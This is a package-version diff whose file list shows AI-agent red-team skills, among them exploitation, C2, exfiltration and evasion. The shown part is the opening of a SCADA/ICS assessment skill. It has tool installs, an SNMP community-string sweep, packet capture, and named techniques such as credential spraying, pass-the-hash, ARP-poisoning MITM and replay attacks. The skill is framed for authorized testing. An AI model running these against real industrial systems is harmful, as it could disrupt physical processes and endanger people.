rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1091 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-scada
|
|
3
|
+
description: "SCADA/ICS industrial control system security assessment skill. Modbus protocol testing, DNP3 reconnaissance, Siemens S7 communication testing, OPC-UA endpoint enumeration, HMI web interface exploitation, historian database access, default credential testing on PLCs and RTUs, and network segmentation verification. Requires extreme caution — covers safety considerations."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-scada — SCADA/ICS Security Assessment Skill
|
|
7
|
+
|
|
8
|
+
## CRITICAL SAFETY NOTICE
|
|
9
|
+
|
|
10
|
+
SCADA and ICS environments control physical processes: power grids, water treatment, oil and gas pipelines, manufacturing lines, and critical infrastructure. Mistakes can cause physical harm, equipment damage, environmental incidents, or loss of life. **Never run active exploits, write commands, or cause state changes on production systems without explicit written authorization from the asset owner, a safety officer sign-off, and an agreed rollback plan.** This skill is for authorized red team engagements only.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## 1. Overview and When to Use
|
|
15
|
+
|
|
16
|
+
This skill covers offensive security assessment of industrial control system (ICS) and SCADA environments. It maps to MITRE ATT&CK for ICS (https://attack.mitre.org/matrices/ics/) and is applicable during:
|
|
17
|
+
|
|
18
|
+
- Authorized red team engagements where OT/ICS scope is explicitly in the Rules of Engagement (ROE)
|
|
19
|
+
- Purple team exercises with ICS blue team participation
|
|
20
|
+
- Segmentation verification and compliance testing (NERC CIP, IEC 62443, NIST SP 800-82)
|
|
21
|
+
- Vulnerability assessments of isolated lab or test environments that mirror production
|
|
22
|
+
|
|
23
|
+
**Protocols and systems covered:**
|
|
24
|
+
- Modbus TCP/RTU (port 502)
|
|
25
|
+
- DNP3 (port 20000)
|
|
26
|
+
- Siemens S7 (port 102, ISO-TSAP)
|
|
27
|
+
- OPC-UA (port 4840)
|
|
28
|
+
- EtherNet/IP / CIP (port 44818)
|
|
29
|
+
- IEC 60870-5-104 (port 2404)
|
|
30
|
+
- BACnet (UDP port 47808)
|
|
31
|
+
- HMI web interfaces (HTTP/HTTPS, vendor-specific ports)
|
|
32
|
+
- Historian databases (OSIsoft PI, GE Proficy, Wonderware)
|
|
33
|
+
- Engineering workstations and jump hosts
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## 2. Prerequisites and Tool Setup
|
|
38
|
+
|
|
39
|
+
### 2.1 Authorization Checklist (Complete Before Any Action)
|
|
40
|
+
|
|
41
|
+
- [ ] Signed Rules of Engagement document includes OT/ICS scope
|
|
42
|
+
- [ ] Asset owner and plant manager written approval obtained
|
|
43
|
+
- [ ] Safety officer briefed and on-call during testing window
|
|
44
|
+
- [ ] Maintenance window confirmed with operations staff
|
|
45
|
+
- [ ] Out-of-band emergency communication channel established
|
|
46
|
+
- [ ] Rollback and emergency stop procedures documented
|
|
47
|
+
- [ ] Testing laptop is air-gapped from corporate network
|
|
48
|
+
- [ ] Physical site access badge obtained if on-site
|
|
49
|
+
|
|
50
|
+
### 2.2 Platform Requirements
|
|
51
|
+
|
|
52
|
+
- OS: Kali Linux 2024.x (recommended) or Ubuntu 22.04 LTS
|
|
53
|
+
- Network: Dedicated NIC for OT network — never share with IT network during testing
|
|
54
|
+
- Hardware: Laptop with serial ports or USB-to-RS485/RS232 adapter for serial protocols
|
|
55
|
+
|
|
56
|
+
### 2.3 Tool Installation
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
# Update base system
|
|
60
|
+
sudo apt update && sudo apt upgrade -y
|
|
61
|
+
|
|
62
|
+
# Core ICS/SCADA tools from Kali repositories
|
|
63
|
+
sudo apt install -y \
|
|
64
|
+
nmap \
|
|
65
|
+
wireshark \
|
|
66
|
+
tshark \
|
|
67
|
+
metasploit-framework \
|
|
68
|
+
python3-pip \
|
|
69
|
+
python3-venv \
|
|
70
|
+
git \
|
|
71
|
+
curl \
|
|
72
|
+
netcat-traditional \
|
|
73
|
+
socat \
|
|
74
|
+
hydra \
|
|
75
|
+
medusa \
|
|
76
|
+
snmp \
|
|
77
|
+
snmpwalk \
|
|
78
|
+
onesixtyone
|
|
79
|
+
|
|
80
|
+
# Python virtual environment for ICS libraries
|
|
81
|
+
python3 -m venv ~/ics-env
|
|
82
|
+
source ~/ics-env/bin/activate
|
|
83
|
+
|
|
84
|
+
# pymodbus — Modbus TCP/RTU client
|
|
85
|
+
pip install pymodbus
|
|
86
|
+
|
|
87
|
+
# python-snap7 — Siemens S7 communication
|
|
88
|
+
pip install python-snap7
|
|
89
|
+
sudo apt install -y libsnap7-1 libsnap7-dev
|
|
90
|
+
|
|
91
|
+
# opcua-asyncio — OPC-UA client
|
|
92
|
+
pip install asyncua
|
|
93
|
+
|
|
94
|
+
# dnp3 libraries
|
|
95
|
+
pip install pydnp3
|
|
96
|
+
|
|
97
|
+
# scapy for packet crafting
|
|
98
|
+
pip install scapy
|
|
99
|
+
|
|
100
|
+
# ISF — Industrial Security Framework (Metasploit-like for ICS)
|
|
101
|
+
cd /opt
|
|
102
|
+
sudo git clone https://github.com/w3h/isf.git
|
|
103
|
+
cd isf && sudo pip3 install -r requirements.txt
|
|
104
|
+
|
|
105
|
+
# PLCscan
|
|
106
|
+
sudo git clone https://github.com/meeas/plcscan.git /opt/plcscan
|
|
107
|
+
|
|
108
|
+
# s7scan — Siemens S7 scanner
|
|
109
|
+
sudo git clone https://github.com/klsecservices/s7scan.git /opt/s7scan
|
|
110
|
+
cd /opt/s7scan && pip install -r requirements.txt
|
|
111
|
+
|
|
112
|
+
# Redpoint — ICS/SCADA Nmap NSE scripts
|
|
113
|
+
sudo git clone https://github.com/digitalbond/Redpoint.git /opt/redpoint
|
|
114
|
+
sudo cp /opt/redpoint/*.nse /usr/share/nmap/scripts/
|
|
115
|
+
sudo nmap --script-updatedb
|
|
116
|
+
|
|
117
|
+
# ModbusPal (Java-based Modbus simulator — for lab testing)
|
|
118
|
+
sudo apt install -y default-jre
|
|
119
|
+
wget -O /opt/modbuspal.jar https://sourceforge.net/projects/modbuspal/files/latest/download
|
|
120
|
+
|
|
121
|
+
# EtherScan for EtherNet/IP
|
|
122
|
+
sudo git clone https://github.com/arnaudsoullie/ics-default-credentials.git /opt/ics-creds
|
|
123
|
+
|
|
124
|
+
# Claroty / Dragos open source enumeration tools
|
|
125
|
+
pip install cpppo # EtherNet/IP / CIP
|
|
126
|
+
|
|
127
|
+
# OPC-UA tools
|
|
128
|
+
sudo apt install -y opcua-tools 2>/dev/null || pip install opcua-client
|
|
129
|
+
|
|
130
|
+
# BACpypes for BACnet
|
|
131
|
+
pip install bacpypes3
|
|
132
|
+
|
|
133
|
+
# ncrack for credential testing
|
|
134
|
+
sudo apt install -y ncrack
|
|
135
|
+
|
|
136
|
+
# enum4linux / smbclient for HMI workstations
|
|
137
|
+
sudo apt install -y enum4linux smbclient
|
|
138
|
+
|
|
139
|
+
# SQLmap for historian web interfaces
|
|
140
|
+
sudo apt install -y sqlmap
|
|
141
|
+
|
|
142
|
+
# Verify Metasploit ICS modules
|
|
143
|
+
msfconsole -q -x "search type:auxiliary platform:scada; exit"
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
### 2.4 Nmap Script Database Update
|
|
147
|
+
|
|
148
|
+
```bash
|
|
149
|
+
sudo nmap --script-updatedb
|
|
150
|
+
# Verify ICS scripts are present
|
|
151
|
+
ls /usr/share/nmap/scripts/ | grep -E "modbus|s7|dnp3|bacnet|enip|pcworx|codesys"
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## 3. Skill Levels
|
|
157
|
+
|
|
158
|
+
### BEGINNER — Passive Enumeration and Identification
|
|
159
|
+
|
|
160
|
+
Focus: Understand the environment, identify assets, do not send commands. All actions read-only.
|
|
161
|
+
|
|
162
|
+
**Techniques:**
|
|
163
|
+
- Passive network capture and protocol identification
|
|
164
|
+
- Banner grabbing with Nmap
|
|
165
|
+
- SNMP enumeration of network devices
|
|
166
|
+
- Web interface discovery
|
|
167
|
+
- Default credential database lookup
|
|
168
|
+
|
|
169
|
+
### INTERMEDIATE — Active Protocol Interrogation
|
|
170
|
+
|
|
171
|
+
Focus: Send read requests using industrial protocols. Query device identity, configuration, and data registers. No write operations.
|
|
172
|
+
|
|
173
|
+
**Techniques:**
|
|
174
|
+
- Modbus register reading
|
|
175
|
+
- S7 CPU information extraction
|
|
176
|
+
- OPC-UA namespace browsing
|
|
177
|
+
- DNP3 data link layer scanning
|
|
178
|
+
- EtherNet/IP device identity query
|
|
179
|
+
- Historian database unauthenticated queries
|
|
180
|
+
|
|
181
|
+
### ADVANCED — Credential Testing and Vulnerability Exploitation
|
|
182
|
+
|
|
183
|
+
Focus: Attempt authentication with default and weak credentials. Test known CVEs on engineering software and HMI interfaces. Exploit historian web services.
|
|
184
|
+
|
|
185
|
+
**Techniques:**
|
|
186
|
+
- Default credential spraying against PLCs, RTUs, and HMIs
|
|
187
|
+
- CVE exploitation of HMI web interfaces (authenticated and unauthenticated)
|
|
188
|
+
- Siemens S7 unauthorized command execution (read-only coils/registers only in production)
|
|
189
|
+
- OPC-UA authentication bypass
|
|
190
|
+
- SQL injection in historian web APIs
|
|
191
|
+
- Pass-the-hash on Windows engineering workstations
|
|
192
|
+
|
|
193
|
+
### EXPERT — Lateral Movement, Safety System Assessment, and Impact Demonstration
|
|
194
|
+
|
|
195
|
+
Focus: Demonstrate realistic attack chains from IT/OT boundary to field device. Safety system testing only in isolated lab environments.
|
|
196
|
+
|
|
197
|
+
**Techniques:**
|
|
198
|
+
- IT to OT pivot via DMZ historian
|
|
199
|
+
- Engineering workstation compromise and malware implant simulation
|
|
200
|
+
- Logic bomb simulation in lab PLC (non-production only)
|
|
201
|
+
- MITM between HMI and PLC using ARP poisoning
|
|
202
|
+
- Replay attacks on unencrypted industrial protocols
|
|
203
|
+
- Safety Instrumented System (SIS) network reachability verification
|
|
204
|
+
- Firmware extraction from field devices
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## 4. Step-by-Step Attack Workflow
|
|
209
|
+
|
|
210
|
+
### Phase 0: Pre-Engagement Setup
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# Create engagement directory structure
|
|
214
|
+
mkdir -p ~/engagements/$(date +%Y%m%d)-scada-assessment/{recon,scan,exploit,evidence,report}
|
|
215
|
+
cd ~/engagements/$(date +%Y%m%d)-scada-assessment
|
|
216
|
+
|
|
217
|
+
# Set target scope variables
|
|
218
|
+
export OT_NETWORK="192.168.100.0/24" # Replace with actual OT subnet
|
|
219
|
+
export HMI_HOST="192.168.100.10"
|
|
220
|
+
export HISTORIAN_HOST="192.168.100.20"
|
|
221
|
+
export PLC_HOST="192.168.100.30"
|
|
222
|
+
export ATTACKER_IP="192.168.100.99"
|
|
223
|
+
export ENGAGEMENT_ID="SCADA-2024-001"
|
|
224
|
+
|
|
225
|
+
# Start packet capture immediately — capture everything
|
|
226
|
+
sudo tshark -i eth1 -w recon/full-capture-$(date +%H%M%S).pcap &
|
|
227
|
+
CAPTURE_PID=$!
|
|
228
|
+
echo "Capture PID: $CAPTURE_PID"
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
### Phase 1: Passive Reconnaissance
|
|
232
|
+
|
|
233
|
+
**Step 1 — Passive protocol identification from network capture**
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# Let Wireshark/tshark identify ICS protocols passively (5-10 minutes)
|
|
237
|
+
sudo tshark -i eth1 -Y "modbus or dnp3 or s7comm or opcua or enip or bacnet or mms" \
|
|
238
|
+
-T fields \
|
|
239
|
+
-e ip.src -e ip.dst -e _ws.col.Protocol -e tcp.dstport \
|
|
240
|
+
2>/dev/null | sort -u | tee recon/passive-protocols.txt
|
|
241
|
+
|
|
242
|
+
# Identify active hosts from captured traffic (no packets sent by us)
|
|
243
|
+
sudo tshark -r recon/full-capture-*.pcap \
|
|
244
|
+
-T fields -e ip.src -e ip.dst 2>/dev/null \
|
|
245
|
+
| tr '\t' '\n' | sort -u | grep -E "^192\.168\." \
|
|
246
|
+
> recon/live-hosts-passive.txt
|
|
247
|
+
|
|
248
|
+
cat recon/live-hosts-passive.txt
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
**Step 2 — SNMP enumeration of network infrastructure**
|
|
252
|
+
|
|
253
|
+
```bash
|
|
254
|
+
# Sweep for SNMP community strings
|
|
255
|
+
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt $OT_NETWORK \
|
|
256
|
+
| tee recon/snmp-communities.txt
|
|
257
|
+
|
|
258
|
+
# Enumerate with found community strings
|
|
259
|
+
for host in $(cut -d' ' -f1 recon/snmp-communities.txt); do
|
|
260
|
+
community=$(grep "^$host" recon/snmp-communities.txt | awk '{print $3}')
|
|
261
|
+
